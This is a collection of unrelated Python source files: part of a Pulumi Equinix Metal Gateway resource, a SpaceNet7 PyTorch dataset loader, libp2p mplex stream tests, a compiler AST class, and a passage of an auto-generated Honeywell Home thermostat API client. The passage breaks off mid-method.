Optional[pulumi.Input[str]] = None, vlan_id: Optional[pulumi.Input[str]] = None, __props__=None): """ Use this resource to create Metal Gateway resources in Equinix Metal. ## Example Usage ```python import pulumi import pulumi_equinix_metal as equinix_metal # Create Metal Gateway for a VLAN with a private IPv4 block with 8 IP addresses test_vlan = equinix_metal.Vlan("testVlan", description="test VLAN in SV", metro="sv", project_id=local["project_id"]) test_gateway = equinix_metal.Gateway("testGateway", project_id=local["project_id"], vlan_id=test_vlan.id, private_ipv4_subnet_size=8) ``` ```python import pulumi import pulumi_equinix_metal as equinix_metal # Create Metal Gateway for a VLAN and reserved IP address block test_vlan = equinix_metal.Vlan("testVlan", description="test VLAN in SV", metro="sv", project_id=local["project_id"]) test_reserved_ip_block = equinix_metal.ReservedIpBlock("testReservedIpBlock", project_id=local["project_id"], metro="sv", quantity=2) test_gateway = equinix_metal.Gateway("testGateway", project_id=local["project_id"], vlan_id=test_vlan.id, ip_reservation_id=test_reserved_ip_block.id) ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] ip_reservation_id: UUID of IP reservation block to bind to the gateway, the reservation must be in the same metro as the VLAN, conflicts with `private_ipv4_subnet_size` :param pulumi.Input[int] private_ipv4_subnet_size: Size of the private IPv4 subnet to create for this metal gateway, must be one of (8, 16, 32, 64, 128), conflicts with `ip_reservation_id` :param pulumi.Input[str] project_id: UUID of the project where the gateway is scoped to :param pulumi.Input[str] vlan_id: UUID of the VLAN where the gateway is scoped to """ ... @overload def __init__(__self__, resource_name: str, args: GatewayArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Use this resource to create Metal Gateway resources in Equinix Metal. ## Example Usage ```python import pulumi import pulumi_equinix_metal as equinix_metal # Create Metal Gateway for a VLAN with a private IPv4 block with 8 IP addresses test_vlan = equinix_metal.Vlan("testVlan", description="test VLAN in SV", metro="sv", project_id=local["project_id"]) test_gateway = equinix_metal.Gateway("testGateway", project_id=local["project_id"], vlan_id=test_vlan.id, private_ipv4_subnet_size=8) ``` ```python import pulumi import pulumi_equinix_metal as equinix_metal # Create Metal Gateway for a VLAN and reserved IP address block test_vlan = equinix_metal.Vlan("testVlan", description="test VLAN in SV", metro="sv", project_id=local["project_id"]) test_reserved_ip_block = equinix_metal.ReservedIpBlock("testReservedIpBlock", project_id=local["project_id"], metro="sv", quantity=2) test_gateway = equinix_metal.Gateway("testGateway", project_id=local["project_id"], vlan_id=test_vlan.id, ip_reservation_id=test_reserved_ip_block.id) ``` :param str resource_name: The name of the resource. :param GatewayArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(GatewayArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, ip_reservation_id: Optional[pulumi.Input[str]] = None, private_ipv4_subnet_size: Optional[pulumi.Input[int]] = None, project_id: Optional[pulumi.Input[str]] = None, vlan_id: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = GatewayArgs.__new__(GatewayArgs) __props__.__dict__["ip_reservation_id"] = ip_reservation_id __props__.__dict__["private_ipv4_subnet_size"] = private_ipv4_subnet_size if project_id is None and not opts.urn: raise TypeError("Missing required property 'project_id'") __props__.__dict__["project_id"] = project_id if vlan_id is None and not opts.urn: raise TypeError("Missing required property 'vlan_id'") __props__.__dict__["vlan_id"] = vlan_id __props__.__dict__["state"] = None super(Gateway, __self__).__init__( 'equinix-metal:index/gateway:Gateway', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, ip_reservation_id: Optional[pulumi.Input[str]] = None, private_ipv4_subnet_size: Optional[pulumi.Input[int]] = None, project_id: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None, vlan_id: Optional[pulumi.Input[str]] = None) -> 'Gateway': """ Get an existing Gateway resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] ip_reservation_id: UUID of IP reservation block to bind to the gateway, the reservation must be in the same metro as the VLAN, conflicts with `private_ipv4_subnet_size` :param pulumi.Input[int] private_ipv4_subnet_size: Size of the private IPv4 subnet to create for this metal gateway, must be one of (8, 16, 32, 64, 128), conflicts with `ip_reservation_id` :param pulumi.Input[str] project_id: UUID of the project where the gateway is scoped to :param pulumi.Input[str] state: Status of the gateway resource :param pulumi.Input[str] vlan_id: UUID of the VLAN where the gateway is scoped to """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _GatewayState.__new__(_GatewayState) __props__.__dict__["ip_reservation_id"] = ip_reservation_id __props__.__dict__["private_ipv4_subnet_size"] = private_ipv4_subnet_size __props__.__dict__["project_id"] = project_id __props__.__dict__["state"] = state __props__.__dict__["vlan_id"] = vlan_id return Gateway(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="ipReservationId") def ip_reservation_id(self) -> pulumi.Output[Optional[str]]: """ UUID of IP reservation block to bind to the gateway, the reservation must be in the same metro as the VLAN, conflicts with `private_ipv4_subnet_size` """ return pulumi.get(self, "ip_reservation_id") @property @pulumi.getter(name="privateIpv4SubnetSize") def private_ipv4_subnet_size(self) -> pulumi.Output[Optional[int]]: """ Size of the private IPv4 subnet to create for this metal gateway, must be one of (8, 16, 32, 64, 128), conflicts with `ip_reservation_id` """ return pulumi.get(self, "private_ipv4_subnet_size") @property @pulumi.getter(name="projectId") def project_id(self) -> pulumi.Output[str]: """ UUID of the project where the gateway is scoped to """ return pulumi.get(self, "project_id") @property @pulumi.getter def state(self) -> pulumi.Output[str]: """ Status of the gateway resource """ return pulumi.get(self, "state") @property @pulumi.getter(name="vlanId") def vlan_id(self) -> pulumi.Output[str]: """ UUID of the VLAN where the gateway is scoped to """ return pulumi.get(self, "vlan_id")
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ac710710dd13ab1f6fe0b43d6c52e17e05897eaa
7,197
py
Python
4-motokimura/code/spacenet7_model/datasets/spacenet7.py
remtav/SpaceNet7_Multi-Temporal_Solutions
ee535c61fc22bffa45331519239c6d1b044b1514
[ "Apache-2.0" ]
38
2021-02-18T07:04:54.000Z
2022-03-22T15:31:06.000Z
4-motokimura/code/spacenet7_model/datasets/spacenet7.py
remtav/SpaceNet7_Multi-Temporal_Solutions
ee535c61fc22bffa45331519239c6d1b044b1514
[ "Apache-2.0" ]
2
2021-02-22T18:53:19.000Z
2021-06-22T20:28:06.000Z
4-motokimura/code/spacenet7_model/datasets/spacenet7.py
remtav/SpaceNet7_Multi-Temporal_Solutions
ee535c61fc22bffa45331519239c6d1b044b1514
[ "Apache-2.0" ]
15
2021-02-25T17:25:40.000Z
2022-01-31T16:59:32.000Z
import json import numpy as np from skimage import io from torch.utils.data import Dataset class SpaceNet7Dataset(Dataset): CLASSES = [ 'building_footprint', # 1st (R) channel in mask 'building_boundary', # 2nd (G) channel in mask 'building_contact', # 3rd (B) channel in mask ] def __init__(self, config, data_list, augmentation=None, preprocessing=None): """[summary] Args: config ([type]): [description] data_list ([type]): [description] augmentation ([type], optional): [description]. Defaults to None. preprocessing ([type], optional): [description]. Defaults to None. """ # generate full path to image/label files self.image_paths, self.mask_paths = [], [] for data in data_list: self.image_paths.append(data['image_masked']) self.mask_paths.append(data['building_mask']) # path to previous frame if config.INPUT.CONCAT_PREV_FRAME: self.image_prev_paths = [] for data in data_list: self.image_prev_paths.append(data['image_masked_prev']) # path to next frame if config.INPUT.CONCAT_NEXT_FRAME: self.image_next_paths = [] for data in data_list: self.image_next_paths.append(data['image_masked_next']) # convert str names to class values on masks classes = config.INPUT.CLASSES if not classes: # if classes is empty, use all classes classes = self.CLASSES self.class_values = [self.CLASSES.index(c) for c in classes] self.device = config.MODEL.DEVICE self.augmentation = augmentation self.preprocessing = preprocessing self.in_channels = config.MODEL.IN_CHANNELS assert self.in_channels in [3, 4] self.concat_prev_frame = config.INPUT.CONCAT_PREV_FRAME self.concat_next_frame = config.INPUT.CONCAT_NEXT_FRAME def __getitem__(self, i): """[summary] Args: i ([type]): [description] Returns: [type]: [description] """ image = io.imread(self.image_paths[i]) mask = io.imread(self.mask_paths[i]) if self.in_channels == 3: # remove alpha channel image = image[:, :, :3] _, _, c = image.shape assert c == self.in_channels # concat previous frame if self.concat_prev_frame: image_prev = io.imread(self.image_prev_paths[i]) if self.in_channels == 3: image_prev = image_prev[:, :, :3] _, _, c = image_prev.shape assert c == self.in_channels image = np.concatenate([image_prev, image], axis=2) # concat next frame if self.concat_next_frame: image_next = io.imread(self.image_next_paths[i]) if self.in_channels == 3: image_next = image_next[:, :, :3] _, _, c = image_next.shape assert c == self.in_channels image = np.concatenate([image, image_next], axis=2) # extract certain classes from mask masks = [(mask[:, :, v] > 0) for v in self.class_values] mask = np.stack(masks, axis=-1).astype('float') # XXX: multi class setting. # apply augmentations if self.augmentation: sample = self.augmentation(image=image, mask=mask) image, mask = sample['image'], sample['mask'] # apply preprocessing if self.preprocessing: sample = self.preprocessing(image=image, mask=mask) image, mask = sample['image'], sample['mask'] return image, mask def __len__(self): """[summary] Returns: [type]: [description] """ return len(self.image_paths) class SpaceNet7TestDataset(Dataset): def __init__(self, config, data_list, augmentation=None, preprocessing=None): """[summary] Args: config ([type]): [description] data_list ([type]): [description] augmentation ([type], optional): [description]. Defaults to None. preprocessing ([type], optional): [description]. Defaults to None. """ # generate full path to image/label files self.image_paths = [] for data in data_list: self.image_paths.append(data['image_masked']) # path to previous frame if config.INPUT.CONCAT_PREV_FRAME: self.image_prev_paths = [] for data in data_list: self.image_prev_paths.append(data['image_masked_prev']) # path to next frame if config.INPUT.CONCAT_NEXT_FRAME: self.image_next_paths = [] for data in data_list: self.image_next_paths.append(data['image_masked_next']) self.device = config.MODEL.DEVICE self.augmentation = augmentation self.preprocessing = preprocessing self.in_channels = config.MODEL.IN_CHANNELS assert self.in_channels in [3, 4] self.concat_prev_frame = config.INPUT.CONCAT_PREV_FRAME self.concat_next_frame = config.INPUT.CONCAT_NEXT_FRAME def __getitem__(self, i): """[summary] Args: i ([type]): [description] Returns: [type]: [description] """ image_path = self.image_paths[i] image = io.imread(image_path) if self.in_channels == 3: # remove alpha channel image = image[:, :, :3] _, _, c = image.shape assert c == self.in_channels # concat previous frame if self.concat_prev_frame: image_prev = io.imread(self.image_prev_paths[i]) if self.in_channels == 3: image_prev = image_prev[:, :, :3] _, _, c = image_prev.shape assert c == self.in_channels image = np.concatenate([image_prev, image], axis=2) # concat next frame if self.concat_next_frame: image_next = io.imread(self.image_next_paths[i]) if self.in_channels == 3: image_next = image_next[:, :, :3] _, _, c = image_next.shape assert c == self.in_channels image = np.concatenate([image, image_next], axis=2) original_shape = image.shape # apply augmentations if self.augmentation: sample = self.augmentation(image=image) image = sample['image'] # apply preprocessing if self.preprocessing: sample = self.preprocessing(image=image) image = sample['image'] return { 'image': image, 'image_path': image_path, 'original_shape': original_shape, } def __len__(self): """[summary] Returns: [type]: [description] """ return len(self.image_paths)
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3bc8bc1c8d156d0405e748965301100f567c58c7
7,162
py
Python
tests/stream_muxer/test_mplex_stream.py
g-r-a-n-t/py-libp2p
36a4a9150dcc53b42315b5c6868fccde5083963b
[ "Apache-2.0", "MIT" ]
315
2019-02-13T01:29:09.000Z
2022-03-28T13:44:07.000Z
tests/stream_muxer/test_mplex_stream.py
pipermerriam/py-libp2p
379a157d6b67e86a616b2458af519bbe5fb26a51
[ "Apache-2.0", "MIT" ]
249
2019-02-22T05:00:07.000Z
2022-03-29T16:30:46.000Z
tests/stream_muxer/test_mplex_stream.py
ralexstokes/py-libp2p
5144ab82894623969cb17baf0d4c64bd0a274068
[ "Apache-2.0", "MIT" ]
77
2019-02-24T19:45:17.000Z
2022-03-30T03:20:09.000Z
import pytest import trio from trio.testing import wait_all_tasks_blocked from libp2p.stream_muxer.mplex.exceptions import ( MplexStreamClosed, MplexStreamEOF, MplexStreamReset, ) from libp2p.stream_muxer.mplex.mplex import MPLEX_MESSAGE_CHANNEL_SIZE from libp2p.tools.constants import MAX_READ_LEN DATA = b"data_123" @pytest.mark.trio async def test_mplex_stream_read_write(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair await stream_0.write(DATA) assert (await stream_1.read(MAX_READ_LEN)) == DATA @pytest.mark.trio async def test_mplex_stream_full_buffer(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair # Test: The message channel is of size `MPLEX_MESSAGE_CHANNEL_SIZE`. # It should be fine to read even there are already `MPLEX_MESSAGE_CHANNEL_SIZE` # messages arriving. for _ in range(MPLEX_MESSAGE_CHANNEL_SIZE): await stream_0.write(DATA) await wait_all_tasks_blocked() # Sanity check assert MAX_READ_LEN >= MPLEX_MESSAGE_CHANNEL_SIZE * len(DATA) assert (await stream_1.read(MAX_READ_LEN)) == MPLEX_MESSAGE_CHANNEL_SIZE * DATA # Test: Read after `MPLEX_MESSAGE_CHANNEL_SIZE + 1` messages has arrived, which # exceeds the channel size. The stream should have been reset. for _ in range(MPLEX_MESSAGE_CHANNEL_SIZE + 1): await stream_0.write(DATA) await wait_all_tasks_blocked() with pytest.raises(MplexStreamReset): await stream_1.read(MAX_READ_LEN) @pytest.mark.trio async def test_mplex_stream_pair_read_until_eof(mplex_stream_pair): read_bytes = bytearray() stream_0, stream_1 = mplex_stream_pair async def read_until_eof(): read_bytes.extend(await stream_1.read()) expected_data = bytearray() async with trio.open_nursery() as nursery: nursery.start_soon(read_until_eof) # Test: `read` doesn't return before `close` is called. await stream_0.write(DATA) expected_data.extend(DATA) await trio.sleep(0.01) assert len(read_bytes) == 0 # Test: `read` doesn't return before `close` is called. await stream_0.write(DATA) expected_data.extend(DATA) await trio.sleep(0.01) assert len(read_bytes) == 0 # Test: Close the stream, `read` returns, and receive previous sent data. await stream_0.close() assert read_bytes == expected_data @pytest.mark.trio async def test_mplex_stream_read_after_remote_closed(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair assert not stream_1.event_remote_closed.is_set() await stream_0.write(DATA) assert not stream_0.event_local_closed.is_set() await trio.sleep(0.01) await wait_all_tasks_blocked() await stream_0.close() assert stream_0.event_local_closed.is_set() await trio.sleep(0.01) await wait_all_tasks_blocked() assert stream_1.event_remote_closed.is_set() assert (await stream_1.read(MAX_READ_LEN)) == DATA with pytest.raises(MplexStreamEOF): await stream_1.read(MAX_READ_LEN) @pytest.mark.trio async def test_mplex_stream_read_after_local_reset(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair await stream_0.reset() with pytest.raises(MplexStreamReset): await stream_0.read(MAX_READ_LEN) @pytest.mark.trio async def test_mplex_stream_read_after_remote_reset(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair await stream_0.write(DATA) await stream_0.reset() # Sleep to let `stream_1` receive the message. await trio.sleep(0.1) await wait_all_tasks_blocked() with pytest.raises(MplexStreamReset): await stream_1.read(MAX_READ_LEN) @pytest.mark.trio async def test_mplex_stream_read_after_remote_closed_and_reset(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair await stream_0.write(DATA) await stream_0.close() await stream_0.reset() # Sleep to let `stream_1` receive the message. await trio.sleep(0.01) assert (await stream_1.read(MAX_READ_LEN)) == DATA @pytest.mark.trio async def test_mplex_stream_write_after_local_closed(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair await stream_0.write(DATA) await stream_0.close() with pytest.raises(MplexStreamClosed): await stream_0.write(DATA) @pytest.mark.trio async def test_mplex_stream_write_after_local_reset(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair await stream_0.reset() with pytest.raises(MplexStreamClosed): await stream_0.write(DATA) @pytest.mark.trio async def test_mplex_stream_write_after_remote_reset(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair await stream_1.reset() await trio.sleep(0.01) with pytest.raises(MplexStreamClosed): await stream_0.write(DATA) @pytest.mark.trio async def test_mplex_stream_both_close(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair # Flags are not set initially. assert not stream_0.event_local_closed.is_set() assert not stream_1.event_local_closed.is_set() assert not stream_0.event_remote_closed.is_set() assert not stream_1.event_remote_closed.is_set() # Streams are present in their `mplex_conn`. assert stream_0 in stream_0.muxed_conn.streams.values() assert stream_1 in stream_1.muxed_conn.streams.values() # Test: Close one side. await stream_0.close() await trio.sleep(0.01) assert stream_0.event_local_closed.is_set() assert not stream_1.event_local_closed.is_set() assert not stream_0.event_remote_closed.is_set() assert stream_1.event_remote_closed.is_set() # Streams are still present in their `mplex_conn`. assert stream_0 in stream_0.muxed_conn.streams.values() assert stream_1 in stream_1.muxed_conn.streams.values() # Test: Close the other side. await stream_1.close() await trio.sleep(0.01) # Both sides are closed. assert stream_0.event_local_closed.is_set() assert stream_1.event_local_closed.is_set() assert stream_0.event_remote_closed.is_set() assert stream_1.event_remote_closed.is_set() # Streams are removed from their `mplex_conn`. assert stream_0 not in stream_0.muxed_conn.streams.values() assert stream_1 not in stream_1.muxed_conn.streams.values() # Test: Reset after both close. await stream_0.reset() @pytest.mark.trio async def test_mplex_stream_reset(mplex_stream_pair): stream_0, stream_1 = mplex_stream_pair await stream_0.reset() await trio.sleep(0.01) # Both sides are closed. assert stream_0.event_local_closed.is_set() assert stream_1.event_local_closed.is_set() assert stream_0.event_remote_closed.is_set() assert stream_1.event_remote_closed.is_set() # Streams are removed from their `mplex_conn`. assert stream_0 not in stream_0.muxed_conn.streams.values() assert stream_1 not in stream_1.muxed_conn.streams.values() # `close` should do nothing. await stream_0.close() await stream_1.close() # `reset` should do nothing as well. await stream_0.reset() await stream_1.reset()
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3bf683b10b0c45d1a88e60f164677116b1eb3bf8
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py
Python
compilacion/analisis_semantico/Ast/instruction.py
Gusta2307/Football-Simulation-IA-SIM-COM-
8c29c5b1ef61708a4f8b34f5e0e00990aeecfacd
[ "MIT" ]
null
null
null
compilacion/analisis_semantico/Ast/instruction.py
Gusta2307/Football-Simulation-IA-SIM-COM-
8c29c5b1ef61708a4f8b34f5e0e00990aeecfacd
[ "MIT" ]
null
null
null
compilacion/analisis_semantico/Ast/instruction.py
Gusta2307/Football-Simulation-IA-SIM-COM-
8c29c5b1ef61708a4f8b34f5e0e00990aeecfacd
[ "MIT" ]
1
2022-02-07T04:47:15.000Z
2022-02-07T04:47:15.000Z
import abc from compilacion.analisis_semantico.scope import Scope from compilacion.analisis_semantico.Ast.AstNode import AstNode class Instruction(AstNode): @abc.abstractclassmethod def execute(self, scope: Scope): pass
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cbf1edf4ef82c6ea32c9a06aa846dc910ab6074a
49,650
py
Python
honeywell_home/api/default_api.py
dbarentine/udi-honeywellhome-poly
e89a3ff0e9a379d399813d42bf85e7c1215f6bc3
[ "MIT" ]
1
2019-12-19T18:57:17.000Z
2019-12-19T18:57:17.000Z
honeywell_home/api/default_api.py
dbarentine/udi-honeywellhome-poly
e89a3ff0e9a379d399813d42bf85e7c1215f6bc3
[ "MIT" ]
9
2020-03-01T19:51:06.000Z
2021-09-27T21:16:36.000Z
honeywell_home/api/default_api.py
dbarentine/udi-honeywellhome-poly
e89a3ff0e9a379d399813d42bf85e7c1215f6bc3
[ "MIT" ]
null
null
null
# coding: utf-8 """ Honeywell Home No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from honeywell_home.api_client import ApiClient from honeywell_home.exceptions import ( ApiTypeError, ApiValueError ) class DefaultApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def v2_devices_thermostats_device_id_fan_post(self, apikey, user_ref_id, location_id, device_id, update_fan_mode, **kwargs): # noqa: E501 """Change the current Fan setting for specified DeviceID. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_device_id_fan_post(apikey, user_ref_id, location_id, device_id, update_fan_mode, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param str device_id: Device ID (required) :param UpdateFanMode update_fan_mode: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.v2_devices_thermostats_device_id_fan_post_with_http_info(apikey, user_ref_id, location_id, device_id, update_fan_mode, **kwargs) # noqa: E501 def v2_devices_thermostats_device_id_fan_post_with_http_info(self, apikey, user_ref_id, location_id, device_id, update_fan_mode, **kwargs): # noqa: E501 """Change the current Fan setting for specified DeviceID. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_device_id_fan_post_with_http_info(apikey, user_ref_id, location_id, device_id, update_fan_mode, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param str device_id: Device ID (required) :param UpdateFanMode update_fan_mode: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['apikey', 'user_ref_id', 'location_id', 'device_id', 'update_fan_mode'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method v2_devices_thermostats_device_id_fan_post" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'apikey' is set if ('apikey' not in local_var_params or local_var_params['apikey'] is None): raise ApiValueError("Missing the required parameter `apikey` when calling `v2_devices_thermostats_device_id_fan_post`") # noqa: E501 # verify the required parameter 'user_ref_id' is set if ('user_ref_id' not in local_var_params or local_var_params['user_ref_id'] is None): raise ApiValueError("Missing the required parameter `user_ref_id` when calling `v2_devices_thermostats_device_id_fan_post`") # noqa: E501 # verify the required parameter 'location_id' is set if ('location_id' not in local_var_params or local_var_params['location_id'] is None): raise ApiValueError("Missing the required parameter `location_id` when calling `v2_devices_thermostats_device_id_fan_post`") # noqa: E501 # verify the required parameter 'device_id' is set if ('device_id' not in local_var_params or local_var_params['device_id'] is None): raise ApiValueError("Missing the required parameter `device_id` when calling `v2_devices_thermostats_device_id_fan_post`") # noqa: E501 # verify the required parameter 'update_fan_mode' is set if ('update_fan_mode' not in local_var_params or local_var_params['update_fan_mode'] is None): raise ApiValueError("Missing the required parameter `update_fan_mode` when calling `v2_devices_thermostats_device_id_fan_post`") # noqa: E501 collection_formats = {} path_params = {} if 'device_id' in local_var_params: path_params['deviceId'] = local_var_params['device_id'] # noqa: E501 query_params = [] if 'apikey' in local_var_params: query_params.append(('apikey', local_var_params['apikey'])) # noqa: E501 if 'location_id' in local_var_params: query_params.append(('locationId', local_var_params['location_id'])) # noqa: E501 header_params = {} if 'user_ref_id' in local_var_params: header_params['UserRefId'] = local_var_params['user_ref_id'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'update_fan_mode' in local_var_params: body_params = local_var_params['update_fan_mode'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/devices/thermostats/{deviceId}/fan', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def v2_devices_thermostats_device_id_get(self, apikey, user_ref_id, location_id, device_id, **kwargs): # noqa: E501 """Return status of a thermostat # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_device_id_get(apikey, user_ref_id, location_id, device_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param str device_id: Device ID (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Thermostat If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.v2_devices_thermostats_device_id_get_with_http_info(apikey, user_ref_id, location_id, device_id, **kwargs) # noqa: E501 def v2_devices_thermostats_device_id_get_with_http_info(self, apikey, user_ref_id, location_id, device_id, **kwargs): # noqa: E501 """Return status of a thermostat # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_device_id_get_with_http_info(apikey, user_ref_id, location_id, device_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param str device_id: Device ID (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Thermostat, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['apikey', 'user_ref_id', 'location_id', 'device_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method v2_devices_thermostats_device_id_get" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'apikey' is set if ('apikey' not in local_var_params or local_var_params['apikey'] is None): raise ApiValueError("Missing the required parameter `apikey` when calling `v2_devices_thermostats_device_id_get`") # noqa: E501 # verify the required parameter 'user_ref_id' is set if ('user_ref_id' not in local_var_params or local_var_params['user_ref_id'] is None): raise ApiValueError("Missing the required parameter `user_ref_id` when calling `v2_devices_thermostats_device_id_get`") # noqa: E501 # verify the required parameter 'location_id' is set if ('location_id' not in local_var_params or local_var_params['location_id'] is None): raise ApiValueError("Missing the required parameter `location_id` when calling `v2_devices_thermostats_device_id_get`") # noqa: E501 # verify the required parameter 'device_id' is set if ('device_id' not in local_var_params or local_var_params['device_id'] is None): raise ApiValueError("Missing the required parameter `device_id` when calling `v2_devices_thermostats_device_id_get`") # noqa: E501 collection_formats = {} path_params = {} if 'device_id' in local_var_params: path_params['deviceId'] = local_var_params['device_id'] # noqa: E501 query_params = [] if 'apikey' in local_var_params: query_params.append(('apikey', local_var_params['apikey'])) # noqa: E501 if 'location_id' in local_var_params: query_params.append(('locationId', local_var_params['location_id'])) # noqa: E501 header_params = {} if 'user_ref_id' in local_var_params: header_params['UserRefId'] = local_var_params['user_ref_id'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/devices/thermostats/{deviceId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Thermostat', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def v2_devices_thermostats_device_id_group_group_id_rooms_get(self, apikey, user_ref_id, location_id, device_id, group_id, **kwargs): # noqa: E501 """Return status of sensors # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_device_id_group_group_id_rooms_get(apikey, user_ref_id, location_id, device_id, group_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param str device_id: Device ID (required) :param int group_id: Group ID (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: ThermostatSensor If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return 